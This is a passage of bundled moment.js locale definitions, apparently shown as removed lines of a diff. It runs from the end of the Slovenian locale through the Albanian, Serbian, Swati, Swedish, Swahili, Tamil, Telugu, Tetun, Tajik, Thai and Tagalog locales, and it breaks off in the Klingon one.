1) { - r += t ? "ura" : "uro" - } else if (e === 2) { - r += t || n ? "uri" : "urama" - } else if (e < 5) { - r += t || n ? "ure" : "urami" - } else { - r += t || n ? "ur" : "urami" - } - return r; - case "d": - return t || n ? "en dan" : "enim dnem"; - case "dd": - if (e === 1) { - r += t || n ? "dan" : "dnem" - } else if (e === 2) { - r += t || n ? "dni" : "dnevoma" - } else { - r += t || n ? "dni" : "dnevi" - } - return r; - case "M": - return t || n ? "en mesec" : "enim mesecem"; - case "MM": - if (e === 1) { - r += t || n ? "mesec" : "mesecem" - } else if (e === 2) { - r += t || n ? "meseca" : "mesecema" - } else if (e < 5) { - r += t || n ? "mesece" : "meseci" - } else { - r += t || n ? "mesecev" : "meseci" - } - return r; - case "y": - return t || n ? "eno leto" : "enim letom"; - case "yy": - if (e === 1) { - r += t || n ? "leto" : "letom" - } else if (e === 2) { - r += t || n ? "leti" : "letoma" - } else if (e < 5) { - r += t || n ? "leta" : "leti" - } else { - r += t || n ? "let" : "leti" - } - return r - } - } - var i = e.defineLocale("sl", { - months: "januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"), - monthsShort: "jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"), - monthsParseExact: true, - weekdays: "nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"), - weekdaysShort: "ned._pon._tor._sre._čet._pet._sob.".split("_"), - weekdaysMin: "ne_po_to_sr_če_pe_so".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[danes ob] LT", - nextDay: "[jutri ob] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[v] [nedeljo] [ob] LT"; - case 3: - return "[v] [sredo] [ob] LT"; - case 6: - return "[v] [soboto] [ob] LT"; - case 1: - case 2: - case 4: - case 5: - return "[v] dddd [ob] LT" - } - }, - lastDay: "[včeraj ob] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - return "[prejšnjo] [nedeljo] [ob] LT"; - case 3: - return "[prejšnjo] [sredo] [ob] LT"; - case 6: - return "[prejšnjo] [soboto] [ob] LT"; - case 1: - case 2: - case 4: - case 5: - return "[prejšnji] dddd [ob] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "čez %s", - past: "pred %s", - s: t, - ss: t, - m: t, - mm: t, - h: t, - hh: t, - d: t, - dd: t, - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("sq", { - months: "Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"), - monthsShort: "Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"), - weekdays: "E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"), - weekdaysShort: "Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"), - weekdaysMin: "D_H_Ma_Më_E_P_Sh".split("_"), - weekdaysParseExact: true, - meridiemParse: /PD|MD/, - isPM: function (e) { - return e.charAt(0) === "M" - }, - meridiem: function (e, t, i) { - return e < 12 ? "PD" : "MD" - }, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Sot në] LT", - nextDay: "[Nesër në] LT", - nextWeek: "dddd [në] LT", - lastDay: "[Dje në] LT", - lastWeek: "dddd [e kaluar në] LT", - sameElse: "L" - }, - relativeTime: { - future: "në %s", - past: "%s më parë", - s: "disa sekonda", - ss: "%d sekonda", - m: "një minutë", - mm: "%d minuta", - h: "një orë", - hh: "%d orë", - d: "një ditë", - dd: "%d ditë", - M: "një muaj", - MM: "%d muaj", - y: "një vit", - yy: "%d vite" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - words: { - ss: ["sekunda", "sekunde", "sekundi"], - m: ["jedan minut", "jedne minute"], - mm: ["minut", "minute", "minuta"], - h: ["jedan sat", "jednog sata"], - hh: ["sat", "sata", "sati"], - dd: ["dan", "dana", "dana"], - MM: ["mesec", "meseca", "meseci"], - yy: ["godina", "godine", "godina"] - }, - correctGrammaticalCase: function (e, t) { - return e === 1 ? t[0] : e >= 2 && e <= 4 ? t[1] : t[2] - }, - translate: function (e, i, n) { - var r = t.words[n]; - if (n.length === 1) { - return i ? r[0] : r[1] - } else { - return e + " " + t.correctGrammaticalCase(e, r) - } - } - }; - var i = e.defineLocale("sr", { - months: "januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"), - monthsShort: "jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"), - monthsParseExact: true, - weekdays: "nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"), - weekdaysShort: "ned._pon._uto._sre._čet._pet._sub.".split("_"), - weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[danas u] LT", - nextDay: "[sutra u] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[u] [nedelju] [u] LT"; - case 3: - return "[u] [sredu] [u] LT"; - case 6: - return "[u] [subotu] [u] LT"; - case 1: - case 2: - case 4: - case 5: - return "[u] dddd [u] LT" - } - }, - lastDay: "[juče u] LT", - lastWeek: function () { - var e = ["[prošle] [nedelje] [u] LT", "[prošlog] [ponedeljka] [u] LT", "[prošlog] [utorka] [u] LT", "[prošle] [srede] [u] LT", "[prošlog] [četvrtka] [u] LT", "[prošlog] [petka] [u] LT", "[prošle] [subote] [u] LT"]; - return e[this.day()] - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "pre %s", - s: "nekoliko sekundi", - ss: t.translate, - m: t.translate, - mm: t.translate, - h: t.translate, - hh: t.translate, - d: "dan", - dd: t.translate, - M: "mesec", - MM: t.translate, - y: "godinu", - yy: t.translate - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - words: { - ss: ["секунда", "секунде", "секунди"], - m: ["један минут", "једне минуте"], - mm: ["минут", "минуте", "минута"], - h: ["један сат", "једног сата"], - hh: ["сат", "сата", "сати"], - dd: ["дан", "дана", "дана"], - MM: ["месец", "месеца", "месеци"], - yy: ["година", "године", "година"] - }, - correctGrammaticalCase: function (e, t) { - return e === 1 ? t[0] : e >= 2 && e <= 4 ? t[1] : t[2] - }, - translate: function (e, i, n) { - var r = t.words[n]; - if (n.length === 1) { - return i ? r[0] : r[1] - } else { - return e + " " + t.correctGrammaticalCase(e, r) - } - } - }; - var i = e.defineLocale("sr-cyrl", { - months: "јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"), - monthsShort: "јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"), - monthsParseExact: true, - weekdays: "недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"), - weekdaysShort: "нед._пон._уто._сре._чет._пет._суб.".split("_"), - weekdaysMin: "не_по_ут_ср_че_пе_су".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[данас у] LT", - nextDay: "[сутра у] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[у] [недељу] [у] LT"; - case 3: - return "[у] [среду] [у] LT"; - case 6: - return "[у] [суботу] [у] LT"; - case 1: - case 2: - case 4: - case 5: - return "[у] dddd [у] LT" - } - }, - lastDay: "[јуче у] LT", - lastWeek: function () { - var e = ["[прошле] [недеље] [у] LT", "[прошлог] [понедељка] [у] LT", "[прошлог] [уторка] [у] LT", "[прошле] [среде] [у] LT", "[прошлог] [четвртка] [у] LT", "[прошлог] [петка] [у] LT", "[прошле] [суботе] [у] LT"]; - return e[this.day()] - }, - sameElse: "L" - }, - relativeTime: { - future: "за %s", - past: "пре %s", - s: "неколико секунди", - ss: t.translate, - m: t.translate, - mm: t.translate, - h: t.translate, - hh: t.translate, - d: "дан", - dd: t.translate, - M: "месец", - MM: t.translate, - y: "годину", - yy: t.translate - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ss", { - months: "Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"), - monthsShort: "Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"), - weekdays: "Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"), - weekdaysShort: "Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"), - weekdaysMin: "Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "h:mm A", - LTS: "h:mm:ss A", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY h:mm A", - LLLL: "dddd, D MMMM YYYY h:mm A" - }, - calendar: { - sameDay: "[Namuhla nga] LT", - nextDay: "[Kusasa nga] LT", - nextWeek: "dddd [nga] LT", - lastDay: "[Itolo nga] LT", - lastWeek: "dddd [leliphelile] [nga] LT", - sameElse: "L" - }, - relativeTime: { - future: "nga %s", - past: "wenteka nga %s", - s: "emizuzwana lomcane", - ss: "%d mzuzwana", - m: "umzuzu", - mm: "%d emizuzu", - h: "lihora", - hh: "%d emahora", - d: "lilanga", - dd: "%d emalanga", - M: "inyanga", - MM: "%d tinyanga", - y: "umnyaka", - yy: "%d iminyaka" - }, - meridiemParse: /ekuseni|emini|entsambama|ebusuku/, - meridiem: function (e, t, i) { - if (e < 11) { - return "ekuseni" - } else if (e < 15) { - return "emini" - } else if (e < 19) { - return "entsambama" - } else { - return "ebusuku" - } - }, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "ekuseni") { - return e - } else if (t === "emini") { - return e >= 11 ? e : e + 12 - } else if (t === "entsambama" || t === "ebusuku") { - if (e === 0) { - return 0 - } - return e + 12 - } - }, - dayOfMonthOrdinalParse: /\d{1,2}/, - ordinal: "%d", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("sv", { - months: "januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"), - monthsShort: "jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"), - weekdays: "söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"), - weekdaysShort: "sön_mån_tis_ons_tor_fre_lör".split("_"), - weekdaysMin: "sö_må_ti_on_to_fr_lö".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY [kl.] HH:mm", - LLLL: "dddd D MMMM YYYY [kl.] HH:mm", - lll: "D MMM YYYY HH:mm", - llll: "ddd D MMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Idag] LT", - nextDay: "[Imorgon] LT", - lastDay: "[Igår] LT", - nextWeek: "[På] dddd LT", - lastWeek: "[I] dddd[s] LT", - sameElse: "L" - }, - relativeTime: { - future: "om %s", - past: "för %s sedan", - s: "några sekunder", - ss: "%d sekunder", - m: "en minut", - mm: "%d minuter", - h: "en timme", - hh: "%d timmar", - d: "en dag", - dd: "%d dagar", - M: "en månad", - MM: "%d månader", - y: "ett år", - yy: "%d år" - }, - dayOfMonthOrdinalParse: /\d{1,2}(e|a)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "e" : t === 1 ? "a" : t === 2 ? "a" : t === 3 ? "e" : "e"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("sw", { - months: "Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"), - monthsShort: "Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"), - weekdays: "Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"), - weekdaysShort: "Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"), - weekdaysMin: "J2_J3_J4_J5_Al_Ij_J1".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[leo saa] LT", - nextDay: "[kesho saa] LT", - nextWeek: "[wiki ijayo] dddd [saat] LT", - lastDay: "[jana] LT", - lastWeek: "[wiki iliyopita] dddd [saat] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s baadaye", - past: "tokea %s", - s: "hivi punde", - ss: "sekunde %d", - m: "dakika moja", - mm: "dakika %d", - h: "saa limoja", - hh: "masaa %d", - d: "siku moja", - dd: "masiku %d", - M: "mwezi mmoja", - MM: "miezi %d", - y: "mwaka mmoja", - yy: "miaka %d" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "௧", - 2: "௨", - 3: "௩", - 4: "௪", - 5: "௫", - 6: "௬", - 7: "௭", - 8: "௮", - 9: "௯", - 0: "௦" - }, - i = { - "௧": "1", - "௨": "2", - "௩": "3", - "௪": "4", - "௫": "5", - "௬": "6", - "௭": "7", - "௮": "8", - "௯": "9", - "௦": "0" - }; - var n = e.defineLocale("ta", { - months: "ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"), - monthsShort: "ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"), - weekdays: "ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"), - weekdaysShort: "ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"), - weekdaysMin: "ஞா_தி_செ_பு_வி_வெ_ச".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, HH:mm", - LLLL: "dddd, D MMMM YYYY, HH:mm" - }, - calendar: { - sameDay: "[இன்று] LT", - nextDay: "[நாளை] LT", - nextWeek: "dddd, LT", - lastDay: "[நேற்று] LT", - lastWeek: "[கடந்த வாரம்] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s இல்", - past: "%s முன்", - s: "ஒரு சில விநாடிகள்", - ss: "%d விநாடிகள்", - m: "ஒரு நிமிடம்", - mm: "%d நிமிடங்கள்", - h: "ஒரு மணி நேரம்", - hh: "%d மணி நேரம்", - d: "ஒரு நாள்", - dd: "%d நாட்கள்", - M: "ஒரு மாதம்", - MM: "%d மாதங்கள்", - y: "ஒரு வருடம்", - yy: "%d ஆண்டுகள்" - }, - dayOfMonthOrdinalParse: /\d{1,2}வது/, - ordinal: function (e) { - return e + "வது" - }, - preparse: function (e) { - return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/, - meridiem: function (e, t, i) { - if (e < 2) { - return " யாமம்" - } else if (e < 6) { - return " வைகறை" - } else if (e < 10) { - return " காலை" - } else if (e < 14) { - return " நண்பகல்" - } else if (e < 18) { - return " எற்பாடு" - } else if (e < 22) { - return " மாலை" - } else { - return " யாமம்" - } - }, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "யாமம்") { - return e < 2 ? e : e + 12 - } else if (t === "வைகறை" || t === "காலை") { - return e - } else if (t === "நண்பகல்") { - return e >= 10 ? e : e + 12 - } else { - return e + 12 - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("te", { - months: "జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"), - monthsShort: "జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"), - monthsParseExact: true, - weekdays: "ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"), - weekdaysShort: "ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"), - weekdaysMin: "ఆ_సో_మం_బు_గు_శు_శ".split("_"), - longDateFormat: { - LT: "A h:mm", - LTS: "A h:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm", - LLLL: "dddd, D MMMM YYYY, A h:mm" - }, - calendar: { - sameDay: "[నేడు] LT", - nextDay: "[రేపు] LT", - nextWeek: "dddd, LT", - lastDay: "[నిన్న] LT", - lastWeek: "[గత] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s లో", - past: "%s క్రితం", - s: "కొన్ని క్షణాలు", - ss: "%d సెకన్లు", - m: "ఒక నిమిషం", - mm: "%d నిమిషాలు", - h: "ఒక గంట", - hh: "%d గంటలు", - d: "ఒక రోజు", - dd: "%d రోజులు", - M: "ఒక నెల", - MM: "%d నెలలు", - y: "ఒక సంవత్సరం", - yy: "%d సంవత్సరాలు" - }, - dayOfMonthOrdinalParse: /\d{1,2}వ/, - ordinal: "%dవ", - meridiemParse: /రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "రాత్రి") { - return e < 4 ? e : e + 12 - } else if (t === "ఉదయం") { - return e - } else if (t === "మధ్యాహ్నం") { - return e >= 10 ? e : e + 12 - } else if (t === "సాయంత్రం") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "రాత్రి" - } else if (e < 10) { - return "ఉదయం" - } else if (e < 17) { - return "మధ్యాహ్నం" - } else if (e < 20) { - return "సాయంత్రం" - } else { - return "రాత్రి" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("tet", { - months: "Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"), - monthsShort: "Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"), - weekdays: "Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"), - weekdaysShort: "Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"), - weekdaysMin: "Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Ohin iha] LT", - nextDay: "[Aban iha] LT", - nextWeek: "dddd [iha] LT", - lastDay: "[Horiseik iha] LT", - lastWeek: "dddd [semana kotuk] [iha] LT", - sameElse: "L" - }, - relativeTime: { - future: "iha %s", - past: "%s liuba", - s: "minutu balun", - ss: "minutu %d", - m: "minutu ida", - mm: "minutu %d", - h: "oras ida", - hh: "oras %d", - d: "loron ida", - dd: "loron %d", - M: "fulan ida", - MM: "fulan %d", - y: "tinan ida", - yy: "tinan %d" - }, - dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, - ordinal: function (e) { - var t = e % 10, - i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 0: "-ум", - 1: "-ум", - 2: "-юм", - 3: "-юм", - 4: "-ум", - 5: "-ум", - 6: "-ум", - 7: "-ум", - 8: "-ум", - 9: "-ум", - 10: "-ум", - 12: "-ум", - 13: "-ум", - 20: "-ум", - 30: "-юм", - 40: "-ум", - 50: "-ум", - 60: "-ум", - 70: "-ум", - 80: "-ум", - 90: "-ум", - 100: "-ум" - }; - var i = e.defineLocale("tg", { - months: "январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_"), - monthsShort: "янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"), - weekdays: "якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"), - weekdaysShort: "яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"), - weekdaysMin: "яш_дш_сш_чш_пш_ҷм_шб".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Имрӯз соати] LT", - nextDay: "[Пагоҳ соати] LT", - lastDay: "[Дирӯз соати] LT", - nextWeek: "dddd[и] [ҳафтаи оянда соати] LT", - lastWeek: "dddd[и] [ҳафтаи гузашта соати] LT", - sameElse: "L" - }, - relativeTime: { - future: "баъди %s", - past: "%s пеш", - s: "якчанд сония", - m: "як дақиқа", - mm: "%d дақиқа", - h: "як соат", - hh: "%d соат", - d: "як рӯз", - dd: "%d рӯз", - M: "як моҳ", - MM: "%d моҳ", - y: "як сол", - yy: "%d сол" - }, - meridiemParse: /шаб|субҳ|рӯз|бегоҳ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "шаб") { - return e < 4 ? e : e + 12 - } else if (t === "субҳ") { - return e - } else if (t === "рӯз") { - return e >= 11 ? e : e + 12 - } else if (t === "бегоҳ") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "шаб" - } else if (e < 11) { - return "субҳ" - } else if (e < 16) { - return "рӯз" - } else if (e < 19) { - return "бегоҳ" - } else { - return "шаб" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}-(ум|юм)/, - ordinal: function (e) { - var i = e % 10, - n = e >= 100 ? 100 : null; - return e + (t[e] || t[i] || t[n]) - }, - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("th", { - months: "มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"), - monthsShort: "ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"), - monthsParseExact: true, - weekdays: "อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"), - weekdaysShort: "อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"), - weekdaysMin: "อา._จ._อ._พ._พฤ._ศ._ส.".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY เวลา H:mm", - LLLL: "วันddddที่ D MMMM YYYY เวลา H:mm" - }, - meridiemParse: /ก่อนเที่ยง|หลังเที่ยง/, - isPM: function (e) { - return e === "หลังเที่ยง" - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ก่อนเที่ยง" - } else { - return "หลังเที่ยง" - } - }, - calendar: { - sameDay: "[วันนี้ เวลา] LT", - nextDay: "[พรุ่งนี้ เวลา] LT", - nextWeek: "dddd[หน้า เวลา] LT", - lastDay: "[เมื่อวานนี้ เวลา] LT", - lastWeek: "[วัน]dddd[ที่แล้ว เวลา] LT", - sameElse: "L" - }, - relativeTime: { - future: "อีก %s", - past: "%sที่แล้ว", - s: "ไม่กี่วินาที", - ss: "%d วินาที", - m: "1 นาที", - mm: "%d นาที", - h: "1 ชั่วโมง", - hh: "%d ชั่วโมง", - d: "1 วัน", - dd: "%d วัน", - M: "1 เดือน", - MM: "%d เดือน", - y: "1 ปี", - yy: "%d ปี" - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("tl-ph", { - months: "Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"), - monthsShort: "Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"), - weekdays: "Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"), - weekdaysShort: "Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"), - weekdaysMin: "Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "MM/D/YYYY", - LL: "MMMM D, YYYY", - LLL: "MMMM D, YYYY HH:mm", - LLLL: "dddd, MMMM DD, YYYY HH:mm" - }, - calendar: { - sameDay: "LT [ngayong araw]", - nextDay: "[Bukas ng] LT", - nextWeek: "LT [sa susunod na] dddd", - lastDay: "LT [kahapon]", - lastWeek: "LT [noong nakaraang] dddd", - sameElse: "L" - }, - relativeTime: { - future: "sa loob ng %s", - past: "%s ang nakalipas", - s: "ilang segundo", - ss: "%d segundo", - m: "isang minuto", - mm: "%d minuto", - h: "isang oras", - hh: "%d oras", - d: "isang araw", - dd: "%d araw", - M: "isang buwan", - MM: "%d buwan", - y: "isang taon", - yy: "%d taon" - }, - dayOfMonthOrdinalParse: /\d{1,2}/, - ordinal: function (e) { - return e - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_"); - - function i(e) { - var t = e; - t = e.indexOf("jaj") !== -1 ? t.slice(0, -3) + "leS" : e.indexOf("jar") !== -1 ? t.slice(0, -3) + "waQ" : e.indexOf("DIS") !== -1 ? t.slice(0, -3) + 